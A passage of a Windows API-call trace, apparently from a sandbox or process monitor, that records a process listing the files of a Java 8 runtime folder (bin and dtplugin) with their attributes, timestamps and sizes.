ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.874] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0214.874] GetProcessHeap () returned 0xc10000 [0214.874] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.879] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.879] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0214.880] GetProcessHeap () returned 0xc10000 [0214.880] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0214.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0215.170] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.171] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0215.171] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0215.171] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0215.171] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0215.171] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0215.171] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0215.171] GetProcessHeap () returned 0xc10000 [0215.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0215.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0215.174] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.174] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0215.174] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0215.174] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0215.174] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0215.175] GetProcessHeap () returned 0xc10000 [0215.175] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0215.176] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0215.177] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0215.178] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, 